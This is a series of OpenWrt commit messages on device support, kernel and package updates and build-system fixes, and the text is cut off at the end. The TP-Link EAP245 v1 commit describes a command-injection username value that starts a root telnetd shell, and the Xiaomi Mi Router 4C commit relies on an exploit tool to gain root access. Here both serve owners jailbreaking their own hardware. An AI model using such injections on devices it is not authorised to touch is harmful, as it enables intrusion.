a unified boot protocol for all Turris Omnia revisions so far.
This commit also fixes a shortcoming of previous Turris Omnia support:
Users may install OpenWrt with the Turris Omnia in factory state
(i.e. invalid environment store). In that case, neither fw_setenv, nor
U-Boot itself, would import the default environment from the image -
screwing up the rescue system, at least!
Signed-off-by: Klaus Kudielka <klaus.kudielka@gmail.com>
Reviewed-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
Tested-by: W. Michael Petullo <mike@flyn.org> (Turris Omnia "2020")
Tested-by: Klaus Kudielka <klaus.kudielka@gmail.com> (Turris Omnia)
In contrast to the U-Boot version shipped with older versions of Turris
Omnia (CZ11NIC13, CZ11NIC20), the version shipped with Turris Omnia 2019
(CZ11NIC23) relies on the existence of /boot.scr.
Consequently, add a suitable boot script to the sysupgrade image.
Flash instructions for Turris Omnia 2019:
- Download openwrt-...-sysupgrade.img.gz, gunzip it, and copy the resulting
.img file to the root of a USB flash drive (FAT32 or ext2/3/4).
- Enter a rescue shell: Either via 5-LED reset and ssh root@192.168.1.1
on LAN port 4, or via 7-LED reset and the serial console.
- Insert the USB drive and mount it:
mkdir /mnt; mount /dev/sda1 /mnt
- Flash the OpenWrt image to eMMC:
dd if=/mnt/openwrt-...-sysupgrade.img of=/dev/mmcblk0 bs=4096 conv=fsync
- Reboot.
Flash instructions using a temporary "medkit" installation were written for
the older versions of Turris Omnia, and will *not* work on the Turris Omnia
2019.
Signed-off-by: Klaus Kudielka <klaus.kudielka@gmail.com>
Reviewed-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
Tested-by: W. Michael Petullo <mike@flyn.org> (Turris Omnia "2020")
Silence the warning in git 2.27 about undefined fast-forward style
in git pull. Define "ff-only" as the style.
Signed-off-by: Hannu Nyman <hannu.nyman@iki.fi>
When setting the option IPK_FILES_CHECKSUMS the build system stores
checksums of all package file as metadata. In combination with pkg_check
this allows to see if a package is broken, e.g. caused by bad flash.
To create those checksums the tool `sha256sum` were used while the rest
of OpenWrt uses `mkhash`, a small & fast implementation of sha256. As
the build system does not check the existence of `sha256sum` and the
stderr output is moved to /dev/null, a situation where the option is
enabled but no actual checksum are created may occur.
Instead of adding `sha256sum` as a requirement, this replaces it with
`mkhash sha256` and adapts the `sed` pipe command to fit spacing.
CC: Xu Wang <xwang1498@gmx.com>
CC: Michal Hrusecky <Michal@Hrusecky.net>
Signed-off-by: Paul Spooren <mail@aparcar.org>
3019f50 jail: leak less memory
7e01453 jail: fix segfault on missing name and refactor
5abee8f jail: fix and simplify userns uid/gid maps from OCI
4ba72ec jail: relax /etc/resolv.conf creation
db5ef86 jail: don't use NULL arguments for mount syscall
19ac9df jail: don't fail if can't mount-bind /etc/resolv.conf
acf36f2 jail: seteuid before clone(CLONE_NEWUSER)
e40828f jail: fix typo in usage output
b87984b jail: don't attempt to mount /sys with noatime
b275b11 jail: enter existing cgroups namespace if given
31e0a46 jail: properly initialize timens_fd
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Hauke wrote:
> We want to run some processes in the procd-ujail, this works when we
> use a SquashFS image and an overlay file system, but when we use an
> initramfs it does not work.
> [...]
> When we switch from initramfs to tmpfs, it is working, we added this
> code to target/linux/generic/other-files/init to make [it] work.
Move files to newly mounted tmpfs and then use switch_root to chroot
into new rootfs and free initramfs.
Suggested-by: Hauke Mehrtens <hauke@hauke-m.de>
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Added PKG_INSTALL to avoid using an explicit define Build/Compile
Added PKG_BUILD_PARALLEL for faster compilation.
Removed TARGET_CLAFGS. They are no longer necessary.
fPIC is default now. So is gnu99. -DUSE_DOS is a hack to include old
and mostly unused conversions.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
- Removed following patches:
100-strip_charsets.patch - makes the full variant slim.
101-autotools.patch - this one fails to apply because it was backported
from newer versions for 1.11.1.
103-configure_ac_fix.patch - backported from newer versions
200-work-with-libtool2.patch - is not needed anymore, it is done
differently in upstream
300-fortify-source-compat.patch - these files are not there anymore
- TVHeadend requires working iconv library e.g. transliteration to ASCII
and this does not work with libiconv-full currently.
There is a simple test, which requires to install iconv package.
Before applying this update:
root@turris:/# echo ŽluťoučkýKůň | iconv -t ASCII//TRANSLIT//IGNORE
luoukK
After applying this update:
root@turris:~# echo ŽluťoučkýKůň | iconv -t ASCII//TRANSLIT//IGNORE
Zlutouck'yKun
- Makefile changes:
Use HTTPS for their website
Fixed deprecated SPDX License Identifier
Move PKG_MAINTAINER above PKG_LICENSE
Signed-off-by: Josef Schlehofer <pepe.schlehofer@gmail.com>
Tested-by: Rosen Penev <rosenp@gmail.com> [malta]
Drop our local sstrip copy and use the current ELFKickers upstream
version.
Patch the original makefile in order to avoid building elftoc, since it
fails with musl's elf.h. This is fine, since we only need sstrip anyway.
Finally, add the possibility to pass additional arguments to sstrip and
pass -z (remove trailing zeros) by default, which matches the behaviour
of the previous version.
Signed-off-by: Rui Salvaterra <rsalvaterra@gmail.com>
[shorten long commit msg lines]
Signed-off-by: Paul Spooren <mail@aparcar.org>
compiler warns that exit() isn't defined so checks for build system
compiler fail.
include <stdlib.h> to define exit()
Tested under macos Catalina & Big Sur
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
Recent kernel bumps & target patch refactors have left some patch fuzz
around. Refreshed kernel patches using update_kernel script.
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
Removed since could be reverse-applied by quilt and found to be
included upstream:
backport-5.4/789-net-usb-qmi_wwan-Set-DTR-quirk-for-MR400.patch
All modifications made by update_kernel.sh
Build system: x86_64
Build-tested: ipq806x/R7800, bcm27xx/bcm2711, ath79/generic
Run-tested: ipq806x/R7800
No dmesg regressions, everything functional
Signed-off-by: John Audia <graysky@archlinux.us>
Tested-by: Curtis Deptuck <curtdept@me.com> [x86_64 build/run]
custom-initramfs-uimage was replaced by calls to uImage, but apparently
mtc_wr1201 was missed in the transistion. Use uImage for this device
too.
Fixes: 9f574b1b87 "ramips: mt7621: drop custom uImage function"
Signed-off-by: Sander Vanheule <sander@svanheule.net>
Several variables in hostapd.sh can be used uninitialized in numerical
comparisons, causing errors in logread:
netifd: radio24 (1668): sh: out of range
Set defaults for those variables to silence those errors.
Fixes: b518f07d4b ("hostapd: remove ieee80211v option")
Fixes: cc80cf53c5 ("hostapd: add FTM responder support")
Fixes: e66bd0eb04 ("hostapd: make rrm report independent of ieee80211k setting")
Signed-off-by: Stijn Tintel <stijn@linux-ipv6.be>
Since we are using mac80211 5.8, let's also switch the ath10k-ct driver
to the new 5.8 version.
Modify patches so they patch the new ath10k-ct driver version.
Adapt 164-ath10k-commit-rates-from-mac80211.patch.
Drop upstreamed 205-ath10k-Add-NL80211_EXT_FEATURE_AQL-flag.patch.
Drop the other options for CT_KVER from the comment, as it is incorrect
and there are too many versions to sum up and maintain there.
Runtime-tested on ath79 (D-Link DAP-2695-A1, TP-Link EAP245-v3).
Signed-off-by: Stijn Tintel <stijn@linux-ipv6.be>
Strictly, an SPDX identifier requires a space between the comment
marker and the identifier itself. The choice of the comment marker
itself is irrelevant.
Correct:
// SPDX-License-Identifier: GPL-2.0-or-later OR MIT
Wrong:
//SPDX-License-Identifier: GPL-2.0-or-later OR MIT
Fix that in the whole tree (actually, only ramips contained wrong
uses).
Found by checkpatch.pl
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This commit adds support for Xiaomi's Mi Router 4C device.
Specifications:
- CPU: MediaTek MT7628AN (580MHz)
- Flash: 16MB
- RAM: 64MB DDR2
- 2.4 GHz: IEEE 802.11b/g/n with Integrated LNA and PA
- Antennas: 4x external single band antennas
- WAN: 1x 10/100M
- LAN: 2x 10/100M
- LEDs: 2x yellow/blue. Programmable (labelled as power on case)
- Non-programmable (shows WAN activity)
- Button: Reset
How to install:
1- Use OpenWRTInvasion to gain telnet and ftp access.
2- Push openwrt firmware to /tmp/ using ftp.
3- Connect to router using telnet. (IP: 192.168.31.1 -
Username: root - No password)
4- Use command "mtd -r write /tmp/firmware.bin OS1" to flash into
the router..
5- It takes around 2 minutes. After that router will restart itself
to OpenWrt.
Signed-off-by: Ataberk Özen <ataberkozen123@gmail.com>
[wrap commit message, bump PKG_RELEASE for uboot-envtools, remove
dts-v1 from DTS, fix LED labels]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Enable busybox's find -mmin time support, which is extremely small,
however also very useful in scripts:
72d1a2357d
Comparing package sizes...
Change Local Remote Package
+7 229009 229002 busybox
Signed-off-by: Lukas Tribus <lukas@ltri.eu>
[fix commit message long line and missing size change]
Signed-off-by: Paul Spooren <mail@aparcar.org>
Trivial cosmetic cleanup. This also helps for script that parse for
options in Config files.
Signed-off-by: Paul Spooren <mail@aparcar.org>
Reviewed-by: Petr Štetiar <ynezz@true.cz>
This function eliminates false-positive errors emitted by dd.
Signed-off-by: Tomasz Maciej Nowak <tmn505@gmail.com>
[drop argument check changes]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This is already done by get_partitions.
Signed-off-by: Tomasz Maciej Nowak <tmn505@gmail.com>
[add "redundant" to title]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This is already done by get_partitions.
Signed-off-by: Tomasz Maciej Nowak <tmn505@gmail.com>
[add "redundant" to title, remove declaration of magic variable]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
UIMAGE_MAGIC is now supported by Build/uImage, in addition to
UIMAGE_NAME. This removes the need for a custom mkimage call, so let's
remove it.
Signed-off-by: Sander Vanheule <sander@svanheule.net>
Replace NETGEAR_KERNEL_MAGIC by UIMAGE_MAGIC to better match the
variable's purpose. This allows to drop the custom
Build/netgear-uImage.
Signed-off-by: Sander Vanheule <sander@svanheule.net>
[keep UIMAGE_MAGIC definitions even for default value]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Allow a device recipe to specify a custom UIMAGE_MAGIC value, as used by
OpenWrt's -M flag for mkimage. This allows to automatically customize
the magic bytes in all calls to Build/uImage for this device, similar to
the behaviour of UIMAGE_NAME. Since the -M argument is inserted before
the user arguments, it can be overriden.
The following example would use 0x87654321 for the KERNEL image, but
0x12345678 for the KERNEL_INITRAMFS image:
define Device/MyDevice
UIMAGE_MAGIC := 0x87654321
KERNEL := ... | uImage lzma
KERNEL_INITRAMFS := ... | uImage lzma -M 0x12345678
...
endef
Fixes: df8e6be59a ("rtl838x: add new architecture")
[UIMAGE_MAGIC was not declared as a device variable]
Signed-off-by: Sander Vanheule <sander@svanheule.net>
[rebase, improve formatting of "Fixes"]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Use the mkimage argument overrides provided by uImage to implement the
customisations required for the initramfs, instead of the near-identical
custom function.
Signed-off-by: Sander Vanheule <sander@svanheule.net>
For some build recipes, the argument to Build/uImage is used to sneak in
extra arguments for mkimage, whereas this appears to have been intended
to specificy the compression method only.
Use the first provided word for -C to be backwards compatible with
current calls to Build/uImage. Use the rest of the call arguments to
override the provided defaults. Only the input file name (-d) and the
output file name cannot overriden.
Signed-off-by: Sander Vanheule <sander@svanheule.net>
Sort patches according to target/linux/generic/PATCHES. Additionally:
- replace hashes in backported patches with the ones from main Linux tree
- add descriptions to some patches
Signed-off-by: Tomasz Maciej Nowak <tmn505@gmail.com>
[remove 004-add_sata_disk_activity_trigger.patch separately]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Remove 004-add_sata_disk_activity_trigger.patch, as the trigger is
already added in shared dtsi.
Suggested-by: Tomasz Maciej Nowak <tmn505@gmail.com>
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
TL-MR6400v5 is very similar to TL-MR6400v4. Main differences are:
- smaller form factor
- different LED GPIOs
- different switch connections
You can flash via tftp recovery:
- serve tftp-recovery image as /tp_recovery.bin on 192.168.0.225/24
- connect to any ethernet port
- power on the device while holding the reset button
- wait at least 8 seconds before releasing reset button
Flashing via OEM web interface does not work.
LTE module does not support DHCP so it must be configured via QMI.
Hardware Specification (v5.0 EU):
- SoC: MT7628NN
- Flash: Winbond W25Q64JVS (8MiB)
- RAM: ESMT M14D5121632A (64MiB)
- Wireless: SoC platform only (2.4GHz b/g/n, 2x internal antenna)
- Ethernet: 1NIC (4x100M)
- WWAN: TP-LINK LTE MODULE (2x external detachable antenna)
- Power: DC 9V 0.85A
Signed-off-by: Filip Moc <lede@moc6.cz>
FCC ID: A8J-EAP300A
Engenius EAP300 v2 is an indoor wireless access point with a
100/10-BaseT ethernet port, 2.4 GHz wireless, internal antennas,
and 802.3af PoE.
**Specification:**
- AR9341
- 40 MHz reference clock
- 16 MB FLASH MX25L12845EMI-10G
- 64 MB RAM
- UART at J1 (populated)
- Ethernet port with POE
- internal antennas
- 3 LEDs, 1 button (power, eth, wlan) (reset)
**MAC addresses:**
phy0 *:d3 art 0x1002 (label)
eth0 *:d4 art 0x0/0x6
**Installation:**
- if you get Failsafe Mode from failed flash:
only use it to flash Original firmware from Engenius
or risk kernel loop or halt which requires serial cable
Method 1: Firmware upgrade page:
OEM webpage at 192.168.1.1
username and password "admin"
Navigate to "Firmware" page from left pane
Click Browse and select the factory.bin image
Upload and verify checksum
Click Continue to confirm and wait 3 minutes
Method 2: Serial to load Failsafe webpage:
After connecting to serial console and rebooting...
Interrupt uboot with any key pressed rapidly
execute `run failsafe_boot` OR `bootm 0x9fdf0000`
wait a minute
connect to ethernet and navigate to
"192.168.1.1/index.htm"
Select the factory.bin image and upload
wait about 3 minutes
**Return to OEM:**
If you have a serial cable, see Serial Failsafe instructions
*DISCLAIMER*
The Failsafe image is unique to Engenius boards.
If the failsafe image is missing or damaged this will not work
DO NOT downgrade to ar71xx this way, can cause kernel loop or halt
The easiest way to return to the OEM software is the Failsafe image
If you dont have a serial cable, you can ssh into openwrt and run
`mtd -r erase fakeroot`
Wait 3 minutes
connect to ethernet and navigate to 192.168.1.1/index.htm
select OEM firmware image from Engenius and click upgrade
**TFTP recovery** (unstable / not reliable):
rename initramfs to 'vmlinux-art-ramdisk'
make available on TFTP server at 192.168.1.101
power board while holding or pressing reset button repeatedly
NOTE: for some Engenius boards TFTP is not reliable
try setting MTU to 600 and try many times
**Format of OEM firmware image:**
The OEM software of EAP300 v2 is a heavily modified version
of Openwrt Kamikaze. One of the many modifications
is to the sysupgrade program. Image verification is performed
simply by the successful ungzip and untar of the supplied file
and name check and header verification of the resulting contents.
To form a factory.bin that is accepted by OEM Openwrt build,
the kernel and rootfs must have specific names
and begin with the respective headers (uImage, squashfs).
Then the files must be tarballed and gzipped.
The resulting binary is actually a tar.gz file in disguise.
This can be verified by using binwalk on the OEM firmware images,
ungzipping then untaring.
The OEM upgrade script is at /etc/fwupgrade.sh.
OKLI kernel loader is required because the OEM software
expects the kernel size to be no greater than 1536k
and otherwise the factory.bin upgrade procedure would
overwrite part of the kernel when writing rootfs.
Signed-off-by: Michael Pratt <mcpratt@pm.me>
[clarify MAC address section, bump PKG_RELEASE for uboot-envtools]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The feature "squashfs" is defined for target and all subtargets
individually. Remove the redundant entries in the subtargets.
Signed-off-by: Rui Salvaterra <rsalvaterra@gmail.com>
[split patch, adjust commit title/message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Move features common to all subtargets to the parent target.
Signed-off-by: Rui Salvaterra <rsalvaterra@gmail.com>
[split patch to make it target-specific, adjust commit title/message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
There are linux firmwares packages for 43362, 43430 and 43455 which shouldn't
be installed at the same time as Cypress firmwares.
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
This expands packages to define not only provides but also conflicts.
These packages provides same files so they should specify conflicts.
Second expansion is that *-ct-htt and *-ct-full-htt firmwares can also
provide *-ct variant as that allows explicit dependency on CT variant
with various firmware modifications.
Signed-off-by: Karel Kočí <karel.koci@nic.cz>
[Bump PKG_RELEASE and format PROVIDES/CONFLICTS]
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
61b3c62 opkg_verify_integrity: better logging and error conditions
f73d42f download: purge cached packages that have incorrect checksum
1c1480e download: factor out the logic for building cache filenames
293b1ce libopkg: factor out checksum and size verification
a786e25 download: remove compatibility with old cache naming scheme
Signed-off-by: Paul Spooren <mail@aparcar.org>
This PR backports upstream fix for CVE-2020-8037. This fix is only
relevant for tcpdump package, tcpdump-mini is not affeted by this issue.
Signed-off-by: Jan Pavlinec <jan.pavlinec@nic.cz>
[added missing commit description]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
As package size changes are a continuous topic on the mailing list this
scripts helps developers to compare their local package modifications
against latest upstream.
The script downloads the latest package indexes based on env variables
or the `.config` file. The script compares the actual installed size
(data.tar.gz) or the IPK package size.
An example output is found below:
```
user@dawn:~/src/openwrt/openwrt$ ./scripts/size_compare.sh
Compare packages of ath79/tiny/mips_24kc:
dropbear busybox iw ubus
Checking configuration difference
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 554 100 554 0 0 336 0 0:00:01 0:00:01 --:--:-- 336
--- start config diff ---
--- /tmp/config.DDjwVh-LOCAL 2020-11-23 09:08:28.913203068 -1000
+++ /tmp/config.DDjwVh-UPSTREAM 2020-11-23 09:08:36.369240887 -1000
@@ -1,5 +1,9 @@
+CONFIG_ALL_KMODS=y
+CONFIG_ALL_NONSHARED=y
CONFIG_AUTOREBUILD=y
+CONFIG_AUTOREMOVE=y
--- 8< ---
CONFIG_BINARY_FOLDER=""
+CONFIG_BUILDBOT=y
+CONFIG_TARGET_ALL_PROFILES=y
CONFIG_TARGET_ROOTFS_DIR=""
CONFIG_USE_SSTRIP=y
CONFIG_USE_UCLIBCXX=y
--- end config diff ---
Checking installed size
Fetching latest package indexes...
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 80634 100 80634 0 0 33499 0 0:00:02 0:00:02 --:--:-- 33485
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 54082 100 54082 0 0 24252 0 0:00:02 0:00:02 --:--:-- 24252
Comparing package sizes...
Change Local Remote Package
+271 51386 51115 base-files
+123 705241 705118 bnx2-firmware
+86 17209 17123 fstools
+22 47989 47967 procd
+21 208311 208290 busybox
+19 67181 67162 netifd
```
I plan to integrate this script into the CI so we have a summary how
sizes change over different architectures.
Signed-off-by: Paul Spooren <mail@aparcar.org>
When building images with the imagebuilder, the partition signature
never changes. The signature is generated by hashing SOURCE_DATE_EPOCH
and LINUX_VERMAGIC which are undefined. Prepopulate these variables, as
done by the SDK.
Signed-off-by: Matthew Gyurgyik <matthew@gyurgyik.io>
Setting the plmn to '0' (auto) will implicitly lead to a (delayed)
network re-registration, which could further lead to some timing
related issues in the qmi proto handler.
On the other hand, if you switch back from manual plmn selection
to auto mode you have to set it to '0', because this setting is
permanently "saved" in the wwan module.
Conclusion:
If plmn is configured, check if it's already set euqally in the module.
If so, do nothing. Otherwise set it.
Signed-off-by: Martin Schiller <ms@dev.tdt.de>
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Replace my o2.pl email address.
I'm still available at the old address.
Signed-off-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
[rephrase commit title/message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Manually rebased patches:
ath79/patches-5.4/910-unaligned_access_hacks.patch
bcm27xx/patches-5.4/950-0135-spi-spi-bcm2835-Disable-forced-software-CS.patch
bcm27xx/patches-5.4/950-0414-SQUASH-Fix-spi-driver-compiler-warnings.patch
ipq806x/patches-5.4/093-4-v5.8-ipq806x-PCI-qcom-Use-bulk-clk-api-and-assert-on-error.patch
Removed since could be reverse-applied by quilt and found to be included upstream:
ipq806x/patches-5.4/096-PCI-qcom-Make-sure-PCIe-is-reset-before-init-for-rev.patch
All modifications made by update_kernel.sh
Build system: x86_64
Build-tested: ipq806x/R7800, ath79/generic, bcm27xx/bcm2711
Run-tested: ipq806x/R7800
No dmesg regressions, everything functional
Signed-off-by: John Audia <graysky@archlinux.us>
[refresh altered targets after rebase]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
qca9558_devolo_dvl1xxx.dtsi contains device specific nodes which
are inherited for some DTS files and overwritten for others.
This is considered confusing, so move the relevant nodes/properties
to the devices and only keep the shared stuff in the DTSI.
Signed-off-by: Yanase Yuki <dev@zpc.sakura.ne.jp>
[clarify commit title/message, move &gmac_config in DTS]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
TP-Link EAP225 v3 is an AC1350 (802.11ac Wave-2) ceiling mount access
point. Serial port access for debricking requires fine soldering.
Device specifications:
* SoC: QCA9563 @ 775MHz
* RAM: 128MiB DDR2
* Flash: 16MiB SPI-NOR
* Wireless 2.4GHz (SoC): b/g/n, 3x3
* Wireless 5Ghz (QCA9886): a/n/ac, 2x2 MU-MINO
* Ethernet (AR8033): 1× 1GbE, 802.3at PoE
Flashing instructions:
* ssh into target device and run `cliclientd stopcs`
* Upgrade with factory image via web interface
Debricking:
* Serial port can be soldered on PCB J3 (1: TXD, 2: RXD, 3: GND, 4: VCC)
* Bridge unpopulated resistors R225 (TXD) and R237 (RXD).
Do NOT bridge R230.
* Use 3.3V, 115200 baud, 8n1
* Interrupt bootloader by holding CTRL+B during boot
* tftp initramfs to flash via LuCI web interface
setenv ipaddr 192.168.1.1 # default, change as required
setenv serverip 192.168.1.10 # default, change as required
tftp 0x80800000 initramfs.bin
bootelf $fileaddr
MAC addresses:
MAC address (as on device label) is stored in device info partition at
an offset of 8 bytes. ath9k device has same address as ethernet, ath10k
uses address incremented by 1.
From OEM boot log:
Using interface ath0 with hwaddr b0:...:3e and ssid "..."
Using interface ath10 with hwaddr b0:...:3f and ssid "..."
Tested by forum user blinkstar88
Signed-off-by: Sander Vanheule <sander@svanheule.net>
TP-Link EAP225-Outdoor v1 is an AC1200 (802.11ac Wave-2) pole or wall
mount access point. Debricking requires access to the serial port, which
is non-trivial.
Device specifications:
* SoC: QCA9563 @ 775MHz
* Memory: 128MiB DDR2
* Flash: 16MiB SPI-NOR
* Wireless 2.4GHz (SoC): b/g/n 2x2
* Wireless 5GHz (QCA9886): a/n/ac 2x2 MU-MIMO
* Ethernet (AR8033): 1× 1GbE, PoE
Flashing instructions:
* ssh into target device with recent (>= v1.6.0) firmware
* run `cliclientd stopcs` on target device
* upload factory image via web interface
Debricking:
To recover the device, you need access to the serial port. This requires
fine soldering to test points, or the use of probe pins.
* Open the case and solder wires to the test points: RXD, TXD and TPGND4
* Use a 3.3V UART, 115200 baud, 8n1
* Interrupt bootloader by holding ctrl+B during boot
* upload initramfs via built-in tftp client and perform sysupgrade
setenv ipaddr 192.168.1.1 # default, change as required
setenv serverip 192.168.1.10 # default, change as required
tftp 0x80800000 initramfs.bin
bootelf $fileaddr
MAC addresses:
MAC address (as on device label) is stored in device info partition at
an offset of 8 bytes. ath9k device has same address as ethernet, ath10k
uses address incremented by 1.
From stock ifconfig:
ath0 Link encap:Ethernet HWaddr D8:...:2E
ath10 Link encap:Ethernet HWaddr D8:...:2F
br0 Link encap:Ethernet HWaddr D8:...:2E
eth0 Link encap:Ethernet HWaddr D8:...:2E
Tested by forum user PolynomialDivision on firmware v1.7.0.
UART access tested by forum user arinc9.
Signed-off-by: Sander Vanheule <sander@svanheule.net>
TP-Link EAP245 v1 is an AC1750 (802.11ac Wave-1) ceiling mount access point.
Device specifications:
* SoC: QCA9563 @ 775MHz
* RAM: 128MiB DDR2
* Flash: 16MiB SPI-NOR
* Wireless 2.4GHz (SoC): b/g/n, 3x3
* Wireless 5Ghz (QCA9880): a/n/ac, 3x3
* Ethernet (AR8033): 1× 1GbE, 802.3at PoE
Flashing instructions:
* Upgrade the device to firmware v1.4.0 if necessary
* Exploit the user management page in the web interface to start telnetd
by changing the username to `;/usr/sbin/telnetd -l/bin/sh&`.
* Immediately change the malformed username back to something valid
(e.g. 'admin') to make ssh work again.
* Use the root shell via telnet to make /tmp world writeable (chmod 777)
* Extract /usr/bin/uclited from the device via ssh and apply the binary
patch listed below. The patch is required to prevent `uclited -u` in
the last step from crashing.
* Copy the patched uclited programme back to the device at /tmp/uclited
(via ssh)
* Upload the factory image to /tmp/upgrade.bin (via ssh)
* Run `chmod +x /tmp/uclited && /tmp/uclited -u` to install OpenWrt.
--- xxd uclited
+++ xxd uclited-patched
@@ -53796,7 +53796,7 @@
000d2240: 8c44 0000 0320 f809 0000 0000 8fbc 0010 .D... ..........
000d2250: 8fa6 0a4c 02c0 2821 8f82 87b8 0000 0000 ...L..(!........
-000d2260: 8c44 0000 0c13 45e0 27a7 0018 8fbc 0010 .D....E.'.......
+000d2260: 8c44 0000 2402 0000 0000 0000 8fbc 0010 .D..$...........
000d2270: 1040 001d 0000 1821 8f99 8374 3c04 0058 .@.....!...t<..X
000d2280: 3c05 0056 2484 a898 24a5 9a30 0320 f809 <..V$...$..0. ..
Debricking:
* Serial port can be soldered on PCB J3 (1: TXD, 2: RXD, 3: GND, 4: VCC)
* Bridge unpopulated resistors R225 (TXD) and R237 (RXD).
Do NOT bridge R230.
* Use 3.3V, 115200 baud, 8n1
* Interrupt bootloader by holding CTRL+B during boot
* tftp initramfs to flash via the LuCI web interface
setenv ipaddr 192.168.1.1 # default, change as required
setenv serverip 192.168.1.10 # default, change as required
tftp 0x80800000 initramfs.bin
bootelf $fileaddr
Tested on the EAP245 v1 running the latest firmware (v1.4.0). The binary
patch might not apply to uclited from other firmware versions.
EAP245 v1 device support was originally developed and maintained by
Julien Dusser out-of-tree. This patch and "ath79: prepare for 1-port
TP-Link EAP2x5 devices" are based on that work.
Signed-off-by: Sander Vanheule <sander@svanheule.net>
TP-Link has developed a number of access points based on the AP152
reference board. In the EAP-series of 802.11ac access points, this
includes the following devices with one ethernet port:
* EAP225 v1/v2
* EAP225 v3
* EAP225-Outdoor v1
* EAP245 v1
Since the only differences between these devices are the ath10k wireless
radios and LEDs, a common base is provided for the overlapping support
requirements.
Hardware commonalities:
* SoC: QCA9563-AL3A MIPS 74kc v5.0 @ 775MHz, AHB @ 258MHz
* RAM: 128MiB DDR2 @ 650MHz
* Flash: 16MiB SPI NOR
* Wi-Fi 2.4GHz: provided by SoC
* Wi-Fi 5Ghz: ath10k chip on PCIe
* Ethernet: AR8033-AL1A, one 1GbE port (802.3at PoE)
Signed-off-by: Sander Vanheule <sander@svanheule.net>
This commit add a workaround for non working SGMII link observed on some
QCA956x SoCs. The workaround originates part from the U-Boot source code
from QCA, part from the implementation from TP-Link found in the GPL
tarball for the EAP245v1.
Extends commit 0d416a8d3b for QCA956x.
Note that reset is the same on QCA955x and QCA956x, same register offset
and values.
Auto calibration is done on u-boot, but always fall back to default value
0x7. Add a DTS entry serdes-cal in case a device require another value.
Signed-off-by: Julien Dusser <julien.dusser@free.fr>
[Sander Vanheule:
Minor code style fixes,
Remove hunk adding qca956x-serdes-fixup to a missing DTS,
Remove variable err that was only assigned,
Rename function to sgmii_serdes_init,
Lower priority of serdes call message to pr_debug]
Signed-off-by: Sander Vanheule <sander@svanheule.net>
Some bootloaders do not set up gmac0 properly, leaving it disconnected
from the sgmii interface. If the user specificies phy-mode sgmii, then
use the gmac-config/device node to ensure the mux is configured
correctly.
Signed-off-by: Sander Vanheule <sander@svanheule.net>
This patch adds support for Globalscale ESPRESSObin-Ultra. Device uses
the same Armada-3720 SoC with extended hardware support.
- SoC: Armada-3720
- RAM: 1 GB DDR4
- Flash: 4MB SPI NOR (mx25u3235f) + 8 GB eMMC
- Ethernet: Topaz 6341 88e6341 (4x GB LAN + 1x WAN with 30W PoE)
- WiFI: 2x2 802.11ac Wi-Fi marvell (88w8997 PCIe+USB)
- 1x USB 2.0 port
- 1x USB 3.0 port
- 1x microSD slot
- 1x mini-PCIe slot (USB [with nano-sim slot])
- 1x mini-USB debug UART
- 1x RTC Clock and battery
- 1x reset button
- 1x power button
- 4x LED (RGBY)
- Optional 1x M.2 2280 slot
** Installation **
Copy dtb from build_dir to bin/ and run tftpserver there:
$ cp ./build_dir/target-aarch64_cortex-a53_musl/linux-mvebu_cortexa53/
linux-5.4.65/arch/arm64/boot/dts/marvell/armada-3720-espressobin-ultra.dtb
bin/targets/mvebu/cortexa53/
$ in.tftpd -L -s bin/targets/mvebu/cortexa53/
Connect to the device UART via microUSB port on the back side and power on the device.
Power on the device and hit any key to stop the autoboot.
Set serverip (host IP) and ipaddr (any free IP address on the same subnet), e.g:
$ setenv serverip 192.168.1.10 # Host
$ setenv ipaddr 192.168.1.15 # Device
Ping server to confirm network is working:
$ ping $serverip
Using neta@30000 device
host 192.168.1.15 is alive
Tftpboot the firmware:
$ tftpboot $kernel_addr_r openwrt-mvebu-cortexa53-globalscale_espressobin-ultra-initramfs-kernel.bin
$ tftpboot $fdt_addr_r armada-3720-espressobin-ultra.dtb
Set the console and boot the image:
$ setenv bootargs $console
$ booti $kernel_addr_r - $fdt_addr_r
Once the initramfs is booted, transfer openwrt-mvebu-cortexa53-globalscale_espressobin-ultra-squashfs-sdcard.img.gz
to /tmp dir on the device.
Gunzip and dd the image:
$ gunzip /tmp/openwrt-mvebu-cortexa53-globalscale_espressobin-ultra-squashfs-sdcard.img.gz
$ dd if=/tmp/openwrt-mvebu-cortexa53-globalscale_espressobin-ultra-squashfs-sdcard.img of=/dev/mmcblk0 && sync
Reboot the device.
Signed-off-by: Vladimir Vid <vladimir.vid@sartura.hr>
Fixes the offset of the patch added in 93bbd998aa
("hostapd: enter DFS state if no available channel is found").
Signed-off-by: Leon M. George <leon@georgemail.eu>
This patch add missing support of SC16IS740 serial controller, installed
